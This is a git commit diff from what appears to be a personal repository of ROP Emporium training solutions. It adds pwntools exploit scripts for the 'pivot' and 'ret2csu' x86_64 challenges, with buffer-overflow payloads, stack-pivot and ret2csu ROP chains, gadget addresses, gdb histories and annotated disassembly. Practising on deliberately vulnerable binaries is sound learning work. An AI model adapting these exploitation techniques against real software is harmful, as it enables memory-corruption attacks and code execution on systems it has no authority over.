summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--x86_64/pivot/.gdb_history37
-rwxr-xr-xx86_64/pivot/exploit.py14
-rwxr-xr-xx86_64/pivot/exploit2.py37
-rw-r--r--x86_64/pivot/stestbin122 -> 0 bytes
-rw-r--r--x86_64/pivot/test12
-rw-r--r--x86_64/pivot/todo1
-rw-r--r--x86_64/ret2csu/.gdb_history56
-rwxr-xr-xx86_64/ret2csu/exploit.py27
-rw-r--r--x86_64/ret2csu/gadgets86
9 files changed, 247 insertions, 23 deletions
diff --git a/x86_64/pivot/.gdb_history b/x86_64/pivot/.gdb_history
index 9802b5f..8c26b83 100644
--- a/x86_64/pivot/.gdb_history
+++ b/x86_64/pivot/.gdb_history
@@ -143,3 +143,40 @@ info reg rbp
info 0x60103a
x/x 0x60103a
quit
+continue
+context
+continue
+x/i rax
+continue
+info reg rax
+stepi
+info reg rax
+quit
+continue
+info reg rax
+stepi
+info reg rax
+x/x $rax
+stepi
+info reg $rbp
+stepi
+x/x rax
+x/x $rax
+x/x 0x601040
+x/x 0x601040 + 279
+x/x 0x601040 - 279
+x/x 0x5173896a
+quit
+continue
+continue
+continue
+stepi
+x/x rax
+x/a $rax
+x/a got.plt
+x/a @got.plt
+x/x 0x7f795e45f96a + 279
+x/x 0x7f795e45f96a + 280
+stepi
+info reg rax
+quit
diff --git a/x86_64/pivot/exploit.py b/x86_64/pivot/exploit.py
index a46b0cd..2420428 100755
--- a/x86_64/pivot/exploit.py
+++ b/x86_64/pivot/exploit.py
@@ -3,21 +3,14 @@ from pwn import *
from os import getcwd
import re
-#context.terminal = ['kitty', 'sh', '-c']
-print(context.terminal)
-
-prog = gdb.debug('./pivot', gdbscript='''
- b pwnme
- b *0x4009a5
-'''
-
-)
+prog = process('./pivot')
payload = b''
payload += p64(0x0000000000400720) # foothold@plt
payload += p64(0x4009bb) # pop rax
-payload += p64(601040) # foothold@plt's .got.plt entry
+payload += p64(0x601040) # foothold@plt's .got.plt entry
+payload += p64(0x4009c0) # mov rax, [rax]
payload += p64(0x00000000004007c8) # pop rbp
payload += p64(279) # should be the offset of pwnem from foothold's .got.plt
@@ -27,7 +20,6 @@ payload += p64(0x4009c4) # adds the two
payload += p64(0x00000000004007c1) # jmp rax
prog.sendline(payload)
pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
-print(hex(pivit_location))
payload = b''
#buffer overflow
diff --git a/x86_64/pivot/exploit2.py b/x86_64/pivot/exploit2.py
new file mode 100755
index 0000000..bf714aa
--- /dev/null
+++ b/x86_64/pivot/exploit2.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python3
+from pwn import *
+from os import getcwd
+import re
+
+# 0000000000058b10 T printf
+# 000000000004a830 W system
+
+prog = process('./pivot')
+
+payload = b''
+
+payload += p64(0x4009bb) # pop rax
+payload += p64(0x601028) # printf's .got.plt entry
+payload += p64(0x4009c0) # mov rax, [rax]
+
+payload += p64(0x00000000004007c8) # pop rbp
+payload += p64(279) # should be the offset of pwnem from foothold's .got.plt
+
+payload += p64(0x4009c4) # adds the two
+
+payload += p64(0x00000000004007c1) # jmp rax
+prog.sendline(payload)
+pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
+
+payload = b''
+#buffer overflow
+for c in range(40):
+ payload += b'a'
+
+payload += p64(0x4009bb) # pop rax
+payload += p64(pivit_location) # pivot location
+payload += p64(0x4009bd) # xchg rsp,rax
+
+prog.sendlineafter('Now please send your stack smash', payload)
+prog.interactive()
+
diff --git a/x86_64/pivot/stest b/x86_64/pivot/stest
deleted file mode 100644
index c7a6ee1..0000000
--- a/x86_64/pivot/stest
+++ /dev/null
Binary files differ
diff --git a/x86_64/pivot/test b/x86_64/pivot/test
deleted file mode 100644
index 181b82a..0000000
--- a/x86_64/pivot/test
+++ /dev/null
@@ -1,12 +0,0 @@
-pivot by ROP Emporium
-x86_64
-
-Call ret2win() from libpivot
-The Old Gods kindly bestow upon you a place to pivot: 0x7f93a9160f10
-Send a ROP chain now and it will land there
-> Thank you!
-
-Now please send your stack smash
-> Thank you!
-
-Exiting
diff --git a/x86_64/pivot/todo b/x86_64/pivot/todo
new file mode 100644
index 0000000..cf2ec67
--- /dev/null
+++ b/x86_64/pivot/todo
@@ -0,0 +1 @@
+do the thing with glibc
diff --git a/x86_64/ret2csu/.gdb_history b/x86_64/ret2csu/.gdb_history
new file mode 100644
index 0000000..7967103
--- /dev/null
+++ b/x86_64/ret2csu/.gdb_history
@@ -0,0 +1,56 @@
+continue
+context
+nexti
+quit
+continue
+context
+conitnue
+continue
+stepi
+stepi
+info reg rdx
+stepi
+info reg rbx
+info reg r12
+x/x 0x4006a2
+x/i 0x4006a2
+x/i *0x4006a2
+quit
+continue
+continue
+info reg rdi
+info reg edi
+quit
+break *0x40069a
+continue
+continue
+quit
+continue
+continue
+stepi
+quit
+break *0x40069a
+continue
+nexti
+stepi
+info reg rdx
+info reg rsi
+stepi
+info reg rsi
+info reg rdi
+info reg rdx
+info reg rsi
+stepi
+info reg rdi
+x 0x400510+0x200b0a
+x/x 601020
+x/x 0x601020
+x/x 0x00400516
+quit
+continue
+context
+continue
+stepi
+info reg rdi
+continue
+quit
diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py
new file mode 100755
index 0000000..a148687
--- /dev/null
+++ b/x86_64/ret2csu/exploit.py
@@ -0,0 +1,27 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
+payload = b''
+for c in range(40):
+ payload += b'a'
+
+
+payload += p64(0x40069a) # __libc_csu_init()
+payload += p64(0)
+payload += p64(0)
+payload += p64(0x601020)
+payload += p64(0xdeadbeefdeadbeef)
+payload += p64(0xcafebabecafebabe)
+payload += p64(0xd00df00dd00df00d)
+
+payload += p64(0x400680)
+
+
+#payload += p64(0x00000000004006a3)
+#payload += p64(0xdeadbeefdeadbeef)
+
+payload += b"\n"
+
+prog.sendline(payload)
+prog.interactive()
diff --git a/x86_64/ret2csu/gadgets b/x86_64/ret2csu/gadgets
new file mode 100644
index 0000000..87a3bb8
--- /dev/null
+++ b/x86_64/ret2csu/gadgets
@@ -0,0 +1,86 @@
+First three arguments:
+rdi 0xdeadbeefdeadbeef
+rsi 0xcafebabecafebabe
+rdx 0xd00df00dd00df00d
+
+
+weird-ass instructions:
+0x0000000000000a08 : retf 0xbabe
+
+
+ret2win@plt: 0000000000400510
+
+0x00000000004006a3 : pop rdi ; ret
+0x00000000004006a1 : pop rsi ; pop r15 ; ret
+
+
+
+
+ret2csu: file format elf64-x86-64
+
+
+Disassembly of section .init:
+
+Disassembly of section .plt:
+
+Disassembly of section .text:
+
+0000000000400640 <__libc_csu_init>:
+ 400640: 41 57 push r15
+ 400642: 41 56 push r14
+ 400644: 49 89 d7 mov r15,rdx
+ 400647: 41 55 push r13
+ 400649: 41 54 push r12
+ 40064b: 4c 8d 25 9e 07 20 00 lea r12,[rip+0x20079e] # 600df0 <__frame_dummy_init_array_entry>
+ 400652: 55 push rbp
+ 400653: 48 8d 2d 9e 07 20 00 lea rbp,[rip+0x20079e] # 600df8 <__do_global_dtors_aux_fini_array_entry>
+ 40065a: 53 push rbx
+ 40065b: 41 89 fd mov r13d,edi
+ 40065e: 49 89 f6 mov r14,rsi
+ 400661: 4c 29 e5 sub rbp,r12
+ 400664: 48 83 ec 08 sub rsp,0x8
+ 400668: 48 c1 fd 03 sar rbp,0x3
+ 40066c: e8 5f fe ff ff call 4004d0 <_init>
+ 400671: 48 85 ed test rbp,rbp
+ 400674: 74 20 je 400696 <__libc_csu_init+0x56>
+ 400676: 31 db xor ebx,ebx
+ 400678: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
+ 40067f: 00
+ _______this shit is importaint!!!!!!
+\/
+ 400680: 4c 89 fa mov rdx,r15
+ 400683: 4c 89 f6 mov rsi,r14
+ 400686: 44 89 ef mov edi,r13d
+ 400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
+_________________________
+ 40068d: 48 83 c3 01 add rbx,0x1
+ 400691: 48 39 dd cmp rbp,rbx
+ 400694: 75 ea jne 400680 <__libc_csu_init+0x40>
+ 400696: 48 83 c4 08 add rsp,0x8
+_________________________
+ 40069a: 5b pop rbx
+ 40069b: 5d pop rbp
+ 40069c: 41 5c pop r12
+ 40069e: 41 5d pop r13
+ 4006a0: 41 5e pop r14
+ 4006a2: 41 5f pop r15
+ 4006a4: c3 ret
+
+Disassembly of section .fini:
+
+calling x86:
+
+controlling rdx:
+1: 0x00000000004006a3
+ rdi : 0xdeadbeefdeadbeef
+
+2: 0x40069a
+ rbx: 0 <--
+ rbp: whatever
+ r12: 0x601020 <-- next location. lets try to make it ret2win
+ r13: 0xdeadbeef <-- would be nice if we could use a 64 bit value
+ r14: 0xcafebabecafebabe
+ r15: 0xd00df00dd00df00d <--
+
+
+3: 0x0000000000400510 (ret2win)